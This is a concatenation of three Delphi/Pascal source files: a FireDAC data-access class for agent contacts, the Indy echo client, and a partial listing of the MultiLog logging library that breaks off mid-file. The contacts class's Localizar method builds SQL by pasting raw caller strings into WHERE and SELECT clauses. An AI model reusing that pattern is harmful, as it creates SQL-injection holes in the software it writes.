unit Model.ContatosBases; interface uses Common.ENum, FireDAC.Comp.Client, DAO.Conexao, System.SysUtils; type TContatosBase = class private FSequencia: Integer; FEMail: String; FDescricao: String; FCodigoDistribuidor: Integer; FTelefone: String; FAcao: TAcao; FConexao: TConexao; function GetSeq(): Integer; function Inserir(): Boolean; function Alterar(): Boolean; function Excluir(): Boolean; public property CodigoDistribuidor: Integer read FCodigoDistribuidor write FCodigoDistribuidor; property Sequencia: Integer read FSequencia write FSequencia; property Descricao: String read FDescricao write FDescricao; property Telefone: String read FTelefone write FTelefone; property EMail: String read FEMail write FEMail; property Acao: TAcao read FAcao write FAcao; function Localizar(aParam: array of variant): TFDQuery; function Gravar(): Boolean; end; const TABLENAME = 'tbcontatosagentes'; SQLUPDATE = 'update ' + TABLENAME + ' set des_contato = :des_contato, num_telefone = :num_telefone, des_email = :des_email ' + 'where cod_agente = :cod_agente and seq_contato = :seq_contato'; SQLDELETE = 'delete from ' + TABLENAME + ' where cod_agente = :cod_agente'; SQLINSERT = 'insert into ' + TABLENAME + ' (cod_Agente, seq_contato, des_contato, num_telefone, des_email) ' + 'values (:cod_Agente, :seq_contato, :des_contato, :num_telefone, :des_email)'; SQLQUERY = 'select cod_Agente, seq_contato, des_contato, num_telefone, des_email from ' + TABLENAME; implementation { TContatosBase } function TContatosBase.Alterar: Boolean; Var FDQuery : TFDQuery; begin try Result := False; FDQuery := FConexao.ReturnQuery(); FDQuery.ExecSQL(SQLUPDATE, [FDescricao, FTelefone, FEMail, FCodigoDistribuidor, FSequencia]); Result := True; finally FDQuery.Connection.Close; FDQuery.Free; end; end; function TContatosBase.Excluir: Boolean; var FDQuery: TFDQuery; begin try Result := False; FDQuery := FConexao.ReturnQuery(); if Sequencia = 0 then begin FDQuery.ExecSQL('delete from ' + TABLENAME + ' where cod_agente = :cod_agente', [FCodigoDistribuidor]); end else begin FDQuery.ExecSQL('delete from ' + TABLENAME + ' where cod_agente = :cod_agente and seq_contato = :seq_contato', [FCodigoDistribuidor, FSequencia]); end; Result := True; finally FDQuery.Connection.Close; FDquery.Free; end; end; function TContatosBase.GetSeq: Integer; var FDQuery: TFDQuery; begin try FDQuery := FConexao.ReturnQuery(); FDQuery.Open('select coalesce(max(seq_contato),0) + 1 from ' + TABLENAME + ' where cod_agente = ' + FCodigoDistribuidor.ToString); try Result := FDQuery.Fields[0].AsInteger; finally FDQuery.Close; end; finally FDQuery.Connection.Close; FDQuery.Free; end; end; function TContatosBase.Gravar: Boolean; begin case FAcao of tacIncluir: Result := Inserir(); tacAlterar: Result := Alterar(); tacExcluir: Result := Excluir(); end; end; function TContatosBase.Inserir: Boolean; var FDQuery : TFDQuery; begin try Result := False; FDQuery := FConexao.ReturnQuery(); FSequencia := GetSeq(); FDQuery.ExecSQL(SQLINSERT, [FCodigoDistribuidor, FSequencia, FDescricao, FTelefone, FEMail]); Result := True; finally FDQuery.Connection.Close; FDquery.Free; end; end; function TContatosBase.Localizar(aParam: array of variant): TFDQuery; var FDQuery: TFDQuery; begin FDQuery := FConexao.ReturnQuery(); if Length(aParam) < 2 then Exit; FDQuery.SQL.Clear; FDQuery.SQL.Add(SQLQUERY); if aParam[0] = 'AGENTE' then begin FDQuery.SQL.Add('where cod_agente = :cod_agente'); FDQuery.ParamByName('cod_agente').AsInteger := aParam[1]; end else if aParam[0] = 'TELEFONE' then begin FDQuery.SQL.Add('where num_telefone like :num_telefone'); FDQuery.ParamByName('num_telefone').AsString := aParam[1]; end else if aParam[0] = 'EMAIL' then begin FDQuery.SQL.Add('where des_email like :des_email'); FDQuery.ParamByName('des_email').AsString := aParam[1]; end else if aParam[0] = 'FILTRO' then begin FDQuery.SQL.Add('where ' + aParam[1]); end else if aParam[0] = 'APOIO' then begin FDQuery.SQL.Clear; FDQuery.SQL.Add('select ' + aParam[1] + ' from ' + TABLENAME + ' ' + aParam[2]); end; FDQuery.Open; Result := FDQuery; end; end.
{ $Project$ $Workfile$ $Revision$ $DateUTC$ $Id$ This file is part of the Indy (Internet Direct) project, and is offered under the dual-licensing agreement described on the Indy website. (http://www.indyproject.org/) Copyright: (c) 1993-2005, Chad Z. Hower and the Indy Pit Crew. All rights reserved. } { $Log$ } { Rev 1.8 2004.02.03 5:45:06 PM czhower Name changes Rev 1.7 1/21/2004 3:27:46 PM JPMugaas InitComponent Rev 1.6 1/3/2004 12:59:52 PM JPMugaas These should now compile with Kudzu's change in IdCoreGlobal. Rev 1.5 2003.11.29 10:18:52 AM czhower Updated for core change to InputBuffer. Rev 1.4 3/6/2003 5:08:48 PM SGrobety Updated the read buffer methodes to fit the new core (InputBuffer -> InputBufferAsString + call to CheckForDataOnSource) Rev 1.3 2/24/2003 08:41:28 PM JPMugaas Should compile with new code. Rev 1.2 12/8/2002 07:26:34 PM JPMugaas Added published host and port properties. Rev 1.1 12/6/2002 05:29:32 PM JPMugaas Now decend from TIdTCPClientCustom instead of TIdTCPClient. Rev 1.0 11/14/2002 02:19:24 PM JPMugaas } unit IdEcho; {*******************************************************} { } { Indy Echo Client TIdEcho } { } { Copyright (C) 2000 Winshoes Working Group } { Original author J. Peter Mugaas } { 2000-April-24 } { } {*******************************************************} interface {$i IdCompilerDefines.inc} uses IdAssignedNumbers, IdTCPClient; type TIdEcho = class(TIdTCPClient) protected FEchoTime: Cardinal; procedure InitComponent; override; public {This sends Text to the peer and returns the reply from the peer} function Echo(const AText: String): String; {Time taken to send and receive data} property EchoTime: Cardinal read FEchoTime; published property Port default IdPORT_ECHO; end; implementation uses {$IFDEF USE_VCL_POSIX} {$IFDEF DARWIN} Macapi.CoreServices, {$ENDIF} {$ENDIF} IdComponent, IdGlobal, IdTCPConnection, IdIOHandler; { TIdEcho } procedure TIdEcho.InitComponent; begin inherited InitComponent; Port := IdPORT_ECHO; end; function TIdEcho.Echo(const AText: String): String; var LEncoding: TIdTextEncoding; LBuffer: TIdBytes; LLen: Integer; StartTime: Cardinal; begin {$IFDEF STRING_IS_UNICODE} LEncoding := IndyUTF16LittleEndianEncoding; {$ELSE} LEncoding := IndyOSDefaultEncoding; {$ENDIF} {Send time monitoring} LBuffer := ToBytes(AText, LEncoding); LLen := Length(LBuffer); {Send time monitoring} StartTime := Ticks; IOHandler.Write(LBuffer); IOHandler.ReadBytes(LBuffer, LLen, False); {This is just in case the TickCount rolled back to zero} FEchoTime := GetTickDiff(StartTime, Ticks); Result := BytesToString(LBuffer, LEncoding); end; end.
unit MultiLog; { Main unit of the Multilog logging system. author of original MultiLog: Luiz Américo Pereira Câmara; pascalive@bol.com.br nb: all units are encoded with UTF-8 without BOM, using EDI "file settings\encoding\UTF-8" contextual menu. Copyright (C) 2006 Luiz Américo Pereira Câmara pascalive@bol.com.br This library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version with the following modification: As a special exception, the copyright holders of this library give you permission to link this library with independent modules to produce an executable, regardless of the license terms of these independent modules,and to copy and distribute the resulting executable under terms of your choice, provided that you also meet, for each linked independent module, the terms and conditions of the license of that module. An independent module is a module which is not derived from or based on this library. If you modify this library, you may extend this exception to your version of the library, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. } {$ifdef fpc} {$mode objfpc}{$H+} {$endif} interface uses {$ifndef fpc}Types, fpccompat,{$endif} Classes, SysUtils, syncobjs, math, TypInfo; {$Include multilog_user1.inc} type TIntegratedLogger = class; TMethodToLog = methInfo..methClear; {$Include multilog_user2.inc} TGroupOfForWhatReasonsToLogActually = Set of TForWhichTrackingPurpose; {$Include multilog_user3.inc} lwNone = []; type TrecLogMessage = record iMethUsed: Integer; dtMsgTime: TDateTime; sMsgText: String; pData: TStream; setFilterDynamic: TGroupOfForWhatReasonsToLogActually; end; TCustomDataNotify = function (Sender: TIntegratedLogger; Data: Pointer; var DoSend: Boolean): String of Object; TCustomDataNotifyStatic = function (Sender: TIntegratedLogger; Data: Pointer; var DoSend: Boolean): String; { TLogChannelUtils } TLogChannelUtils = class class function SetofToInt(const aSetOf: TGroupOfForWhatReasonsToLogActually): integer; class function IntToSetof(const aSetof: Integer): TGroupOfForWhatReasonsToLogActually; class function SetofToString(const aSetOf: TGroupOfForWhatReasonsToLogActually): string; class function StringToSetof(const aSetOf: string): Integer; class function CountElements(const aSetOf: TGroupOfForWhatReasonsToLogActually): integer; end; { TLogChannel } TLogChannel = class private FbActive: Boolean; protected FbShowTime: Boolean; FbShowPrefixMethod: Boolean; FbShow_DynamicFilter_forWhatReasonsToLogActually: Boolean; public procedure SetShowTime(const AValue: Boolean); virtual; procedure Set_ShowFilterDynamic_forWhatReasonsToLogActually(AValue: Boolean); virtual; procedure Clear; virtual; abstract; procedure Deliver(const AMsg: TrecLogMessage); virtual; abstract; procedure Init; virtual; property Active: Boolean read FbActive write FbActive; property ShowTime: boolean read FbShowTime write SetShowTime; property ShowPrefixMethod: Boolean read FbShowPrefixMethod write FbShowPrefixMethod; property ShowDynamicFilter_forWhatReasonsToLogActually: Boolean read FbShow_DynamicFilter_forWhatReasonsToLogActually write Set_ShowFilterDynamic_forWhatReasonsToLogActually; end; { TChannelList } TChannelList = class private FoList: TFpList; function GetCount: Integer; {$ifdef fpc}inline;{$endif} function GetItems(AIndex: Integer): TLogChannel; {$ifdef fpc}inline;{$endif} public constructor Create; destructor Destroy; override; function Add(AChannel: TLogChannel):Integer; procedure Remove(AChannel:TLogChannel); property Count: Integer read GetCount; property Items[AIndex:Integer]: TLogChannel read GetItems; default; end; { TIntegratedLogger } TIntegratedLogger = class private FiMaxStackCount: Integer; FoChannels: TChannelList; FoLogStack: TStrings; FoCheckList: TStringList; FoCounterList: TStringList; FOnCustomData: TCustomDataNotify; FsetFilterDynamic_forWhatReasonsToLogActually: TGroupOfForWhatReasonsToLogActually; class var FoDefaultChannels: TChannelList; procedure GetCallStack(AStream:TStream); class function GetDefaultChannels: TChannelList; static; function GetEnabled: Boolean; procedure SetMaxStackCount(const AValue: Integer); procedure SetThreadSafe; protected procedure SendStream(AMethodUsed: Integer; const AText: String; o_AStream: TStream); procedure SendBuffer(AMethodUsed: Integer; const AText: String; var pBuffer; Count: LongWord); procedure SetFilterDynamic_forWhatReasonsToLogActually(AValue: TGroupOfForWhatReasonsToLogActually); public constructor Create; destructor Destroy; override; function CalledBy(const AMethodName: String): Boolean; procedure Clear; //Helper functions function RectToStr(const ARect: TRect): String; //inline function PointToStr(const APoint: TPoint): String; //inline //Send functions: for backward compatibility. SendInfo have been introduced in order to be harmonized with SendError and SendWarning procedure Send(const AText: String); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); overload; procedure Send(const AText: String; Args: array of const); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; Args: array of const); overload; procedure Send(const AText, AValue: String); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText,AValue: String); overload; procedure Send(const AText: String; AValue: Integer); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Integer); overload; {$ifdef fpc} procedure Send(const AText: String; AValue: Cardinal); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Cardinal); overload; {$endif} procedure Send(const AText: String; AValue: Double); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Double); overload; procedure Send(const AText: String; AValue: Int64); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Int64); overload; procedure Send(const AText: String; AValue: QWord); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: QWord); overload; procedure Send(const AText: String; AValue: Boolean); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Boolean); overload; procedure Send(const AText: String; const ARect: TRect); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; const ARect: TRect); overload; procedure Send(const AText: String; const APoint: TPoint); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; const APoint: TPoint); overload; { Explanations: whe log with a methTStrings's method.} procedure Send(const AText: String; AStrList: TStrings); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; o_AStrList: TStrings); overload; { Explanations: whe log with a methObject's method.} procedure Send(const AText: String; AObject: TObject); overload; procedure Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AObject: TObject); overload; { Explanations: whe log with a methInfo's method.} procedure SendInfo(const AText: String); overload; procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); overload; procedure SendInfo(const AText: String; Args: array of const); overload; procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; Args: array of const); overload; procedure SendInfo(const AText, AValue: String); overload; procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText,AValue: String); overload; procedure SendInfo(const AText: String; AValue: Integer); procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Integer); overload; {$ifdef fpc} procedure SendInfo(const AText: String; AValue: Cardinal); overload; procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Cardinal); overload; {$endif} procedure SendInfo(const AText: String; AValue: Double); overload; procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Double); overload; procedure SendInfo(const AText: String; AValue: Int64); overload; procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Int64); overload; procedure SendInfo(const AText: String; AValue: QWord); overload; procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: QWord); overload; procedure SendInfo(const AText: String; AValue: Boolean); overload; procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Boolean); overload; procedure SendInfo(const AText: String; const ARect: TRect); overload; procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; const ARect: TRect); overload; procedure SendInfo(const AText: String; const APoint: TPoint); overload; procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; const APoint: TPoint); overload; { Explanations: whe log with a methTStrings's method.} procedure SendInfo(const AText: String; AStrList: TStrings); overload; procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; o_AStrList: TStrings); overload; { Explanations: whe log with a methObject's method.} procedure SendInfo(const AText: String; AObject: TObject); overload; procedure SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AObject: TObject); overload; { Explanations: whe log with a methValue's method.} procedure SendPointer(const AText: String; APointer: Pointer); overload; procedure SendPointer(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; APointer: Pointer); overload; { Explanations: whe log with a methCallStack's method.} procedure SendCallStack(const AText: String); overload; procedure SendCallStack(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); overload; { Explanations: whe log with a methException's method.} procedure SendException(const AText: String; AException: Exception); overload; procedure SendException(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AException: Exception); overload; { Explanations: check Exception hierarchy (ultimate ancestor=EDatabaseError || EStreamError || ...), to grab its specific fields into a dumped string.} function GetDescriptionOfSQLException (AException: Exception): string; { Explanations: whe log with a methHeapInfo's method.} procedure SendHeapInfo(const AText: String); overload; procedure SendHeapInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String);overload; { Explanations: whe log with a methMemory's method.} procedure SendMemory(const AText: String; Address: Pointer; Size: LongWord; Offset: Integer = 0); overload; procedure SendMemory(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; pAddress: Pointer; iSize: LongWord; iOffset: Integer = 0); overload; { Explanations: whe log with a methConditional's method.} procedure SendIf(const AText: String; Expression: Boolean); overload; procedure SendIf(Classes: TGroupOfForWhatReasonsToLogActually; const AText: String; Expression: Boolean); overload; procedure SendIf(const AText: String; Expression, IsTrue: Boolean); overload; procedure SendIf(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; bExpression, bIsTrue: Boolean); overload; { Explanations: whe log with a ltWarning's method.} procedure SendWarning(const AText: String); overload; procedure SendWarning(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); overload; { Explanations: whe log with a ltError's method.} procedure SendError(const AText: String); overload; procedure SendError(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); overload; { Explanations: whe log with a methCustomData's method.} procedure SendCustomData(const AText: String; Data: Pointer); overload; procedure SendCustomData(const AText: String; Data: Pointer; CustomDataFunction: TCustomDataNotify); overload; procedure SendCustomData(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; Data: Pointer; CustomDataFunction: TCustomDataNotify); overload; procedure SendCustomData(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; Data: Pointer); overload; procedure SendCustomData(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; Data: Pointer; CustomDataFunction: TCustomDataNotifyStatic); overload; procedure SendCustomData(const AText: String; Data: Pointer; CustomDataFunction: TCustomDataNotifyStatic); overload; { Explanations: whe log with a methCheckpoint's method.} procedure AddCheckPoint; overload; procedure AddCheckPoint(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually); overload; procedure AddCheckPoint(const sCheckName: String); overload; procedure AddCheckPoint(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const sCheckName: String); overload; { Explanations: whe log with a methCounter's method.} procedure IncCounter(const sCounterName: String); overload; procedure IncCounter(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const CounterName: String); overload; { Explanations: whe log with a methCounter's method.} procedure DecCounter(const sCounterName: String); overload; procedure DecCounter(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const CounterName: String); overload; { Explanations: whe log with a methCounter's method.} procedure ResetCounter(const sCounterName: String); overload; procedure ResetCounter(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const CounterName: String); overload; { Explanations: get pointer on FoCounterList.Objects[CounterName].} function GetCounter(const CounterName: String): Integer; overload; { Explanations: whe log with a methCheckpoint's method.} procedure ResetCheckPoint; overload; procedure ResetCheckPoint(Classes: TGroupOfForWhatReasonsToLogActually); overload; procedure ResetCheckPoint(const sCheckName: String); overload; procedure ResetCheckPoint(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually;const CheckName: String); overload; { Explanations: whe log with a methEnterMethod's method.} procedure EnterMethod(const AMethodName: String; const AMessage: String = ''); overload; procedure EnterMethod(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AMethodName: String; const AMessage: String = ''); overload; procedure EnterMethod(Sender: TObject; const AMethodName: String; const AMessage: String = ''); overload; procedure EnterMethod(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; Sender: TObject; const AMethodName: String; const AMessage: String = ''); overload; { Explanations: whe log with a methExitMethod's method.} procedure ExitMethod(const AMethodName: String; const AMessage: String = ''); overload; procedure ExitMethod(Sender: TObject; const AMethodName: String; const AMessage: String = ''); overload; procedure ExitMethod(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AMethodName: String; const AMessage: String = ''); overload; procedure ExitMethod({%H-}aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; Sender: TObject; const AMethodName: String; const AMessage: String = ''); overload; { Explanations: whe log with a methWatch's method.} procedure Watch(const AText, AValue: String); overload; procedure Watch(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText,AValue: String); overload; procedure Watch(const AText: String; AValue: Integer); overload; procedure Watch(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Integer); overload; {$ifdef fpc} procedure Watch(const AText: String; AValue: Cardinal); overload; procedure Watch(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Cardinal); overload; {$endif} procedure Watch(const AText: String; AValue: Double); overload; procedure Watch(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Double); overload; procedure Watch(const AText: String; AValue: Boolean); overload; procedure Watch(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Boolean); overload; { Explanations: whe log with a methSubEventBetweenEnterAndExitMethods's method.} procedure SubEventBetweenEnterAndExitMethods(const AText: String); overload; procedure SubEventBetweenEnterAndExitMethods(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); overload; class property DefaultChannels: TChannelList read GetDefaultChannels; { public field that contains the filter set which is intersected with the *possible* tracking purposes =~ ..."pass-filter"'s set, blocking or not the logging. } property FilterDynamic_forWhatReasonsToLogActually: TGroupOfForWhatReasonsToLogActually read FsetFilterDynamic_forWhatReasonsToLogActually write SetFilterDynamic_forWhatReasonsToLogActually; property Channels: TChannelList read FoChannels; property LogStack: TStrings read FoLogStack; property MaxStackCount: Integer read FiMaxStackCount write SetMaxStackCount; property OnCustomData: TCustomDataNotify read FOnCustomData write FOnCustomData; end; { TLogChannelWrapper } TLogChannelWrapper = class(TComponent) private FoChannel: TLogChannel; protected { Explanations: if AComponent - a specialized channel, like TMemoChannel - is in a @code(TComponentState = [opRemove]), and if there's a AComponent's FChannelWrapper that is memory managed by AComponent, then this FChannelWrapper must stop immediately any activity.} procedure Notification(AComponent: TComponent; Operation: TOperation); override; public property Channel: TLogChannel read FoChannel write FoChannel; end; TFixedCriticalSection = class(TCriticalSection) private {$WARN 5029 off : Private field "$1.$2" is never used} // FDummy not used anywhere so switch off such warnings FDummy: array [0..95] of Byte; // fix multiprocessor cache safety http://blog.synopse.info/post/2016/01/09/Safe-locks-for-multi-thread-applications end; TGuardian = TFixedCriticalSection; var goLogger: TIntegratedLogger; implementation uses db; const DefaultCheckName = 'CheckPoint'; function FormatNumber(iValue: Integer):String; var sTempStr: String; i, iDigits: Integer; begin iDigits:= 0; Result:= ''; sTempStr:= IntToStr(iValue); for i := length(sTempStr) downto 1 do begin //todo: implement using mod() -> get rids of iDigits if iDigits = 3 then begin iDigits:=0; Result:= DefaultFormatSettings.ThousandSeparator+Result; end; Result:= sTempStr[i]+Result; Inc(iDigits); end; end; { Explanations: global procedure returns the literal description of the "sender" component that is at the origin of the event.} function GetObjectDescription(Sender: TObject): String; begin Result:= Sender.ClassName; if (Sender is TComponent) and (TComponent(Sender).Name <> '') then Result := Result + '(' + TComponent(Sender).Name + ')'; end; var goGuardian: TGuardian; { TLogChannelUtils } class function TLogChannelUtils.SetofToInt(const aSetOf: TGroupOfForWhatReasonsToLogActually): integer; begin Result:= Integer(aSetOf); // Beware: Cf. [*] end; class function TLogChannelUtils.IntToSetof(const aSetof: Integer): TGroupOfForWhatReasonsToLogActually; begin result:= TGroupOfForWhatReasonsToLogActually(aSetof); // Beware: Cf. [*] end; class function TLogChannelUtils.SetofToString(const aSetOf: TGroupOfForWhatReasonsToLogActually): string; begin Result:= TypInfo.SetToString(PTypeInfo(TypeInfo(TGroupOfForWhatReasonsToLogActually)), Integer(aSetOf), true); end; class function TLogChannelUtils.StringToSetof(const aSetOf: string): Integer; begin Result:= TypInfo.StringToSet(PTypeInfo(TypeInfo(TGroupOfForWhatReasonsToLogActually)),aSetOf); end; class function TLogChannelUtils.CountElements(const aSetOf: TGroupOfForWhatReasonsToLogActually): integer; var k: TForWhichTrackingPurpose; begin Result:= 0; for k:= lwDebug to lwLast do begin if k in aSetOf then Result:= Result+1; end; end; { TIntegratedLogger } procedure TIntegratedLogger.GetCallStack(AStream: TStream); {$ifdef fpc} var i: Longint; prevbp: Pointer; caller_frame, caller_addr, bp: Pointer; S: String; {$endif} begin {$ifdef fpc} //routine adapted from fpc source //This trick skip SendCallstack item //bp:=get_frame; //get_frame=IP's frame bp:= get_caller_frame(get_frame); //BP = number of the current base frame try prevbp:=bp-1; //prev_BP = number of the precedent base frame *) i:=0; //is_dev:=do_isdevice(textrec(f).Handle); while bp > prevbp Do // while we can pop... begin caller_addr := get_caller_addr(bp); //we get the IP's caller caller_frame := get_caller_frame(bp); //and its BP if (caller_addr=nil) then break; //We are back at the start point: all has been "poped" //todo: see what is faster concatenate string and use writebuffer or current S:=BackTraceStrFunc(caller_addr)+LineEnding; //EI name AStream.WriteBuffer(S[1],Length(S)); Inc(i); if (i>=FiMaxStackCount) or (caller_frame=nil) then break; prevbp:=bp; //previous variable is set with the IP bp:=caller_frame; //the IP becomes the courent caller of the courrent frame: we backward from one call frame end; except { prevent endless dump if an exception occured } end; {$endif} end; {^^ Explanations: When FsetFilterDynamic_forWhatReasonsToLogActually is changed by the calling programm, character ° is logged twice: here and internally in goLogger.SendStream. ^^} procedure TIntegratedLogger.SetFilterDynamic_forWhatReasonsToLogActually(AValue: TGroupOfForWhatReasonsToLogActually); begin if FsetFilterDynamic_forWhatReasonsToLogActually=AValue then Exit; goLogger.SendInfo('°'); FsetFilterDynamic_forWhatReasonsToLogActually:= AValue; end; class function TIntegratedLogger.GetDefaultChannels: TChannelList; begin if FoDefaultChannels = nil then FoDefaultChannels := TChannelList.Create; Result := FoDefaultChannels; end; function TIntegratedLogger.GetEnabled: Boolean; begin Result:= FsetFilterDynamic_forWhatReasonsToLogActually <> []; end; procedure DispatchLogMessage(o_Channels: TChannelList; const Msg: TrecLogMessage); var i: Integer; o_Channel: TLogChannel; begin for i := 0 to o_Channels.Count - 1 do begin o_Channel := o_Channels[i]; if o_Channel.Active then o_Channel.Deliver(Msg); end; end; procedure TIntegratedLogger.SendStream(AMethodUsed: Integer; const AText: String; o_AStream: TStream); var recMsg: TrecLogMessage; {^^ Explanations: création d'un record dans le même ordre que sa déclaration en pense-bête..., ...car surtout, s'il est envoyé en IPC et lu depuis un autre programme, la mémoire devra le relire dans cet ordre, en utilisant TLogChannelUtils pour encoder et décoder le champ SetOf du record-TrecLogMessage. ^^} procedure CreateMsg; begin with recMsg do begin iMethUsed:= AMethodUsed; dtMsgTime:= Now; sMsgText:= AText; pData:= o_AStream; end; if (AMethodUsed = methSubEventBetweenEnterAndExitMethods) then begin recMsg.setFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwStudyChainedEvents]; recMsg.sMsgText:= recMsg.sMsgText; // as a reminder of the unbreakable association betweeb some methode names and their homonymous group end else if (AMethodUsed = methEnterMethod) or (AMethodUsed = methExitMethod) then begin recMsg.setFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwStudyChainedEvents, lwEvents]; recMsg.sMsgText:= recMsg.sMsgText; // as a reminder of the unbreakable association betweeb some methode names and their homonymous group end else if (AMethodUsed = methError) or ((AMethodUsed = methException)) then begin recMsg.setFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwError]; recMsg.sMsgText:= recMsg.sMsgText; // as a reminder of the unbreakable association betweeb some methode names and their homonymous group end else if (AMethodUsed = methWarning) then begin recMsg.setFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwWarning]; recMsg.sMsgText:= recMsg.sMsgText; // as a reminder of the unbreakable association betweeb some methode names and their homonymous group end else if (AMethodUsed = methInfo) then begin recMsg.setFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo]; recMsg.sMsgText:= recMsg.sMsgText; // as a reminder of the unbreakable association betweeb some methode names and their homonymous group end else recMsg.setFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; end; begin CreateMsg; (*IsMultiThread == true, when unit cthreads is used by a project*) if IsMultiThread then //Yes: it's a global variable created in this unit, and used in this unit only ;-) goGuardian.Enter; if FoDefaultChannels <> nil then DispatchLogMessage(FoDefaultChannels, recMsg); DispatchLogMessage(Channels, recMsg); if IsMultiThread then goGuardian.Leave; end; procedure TIntegratedLogger.SendBuffer(AMethodUsed: Integer; const AText: String; var pBuffer; Count: LongWord); var oStream: TStream; begin try if Count > 0 then begin oStream:= TMemoryStream.Create; oStream.Write(pBuffer,Count); end else oStream:= nil; SendStream(AMethodUsed,AText,oStream); //nb: SendStream will free oStream finally oStream.Free; end; end; procedure 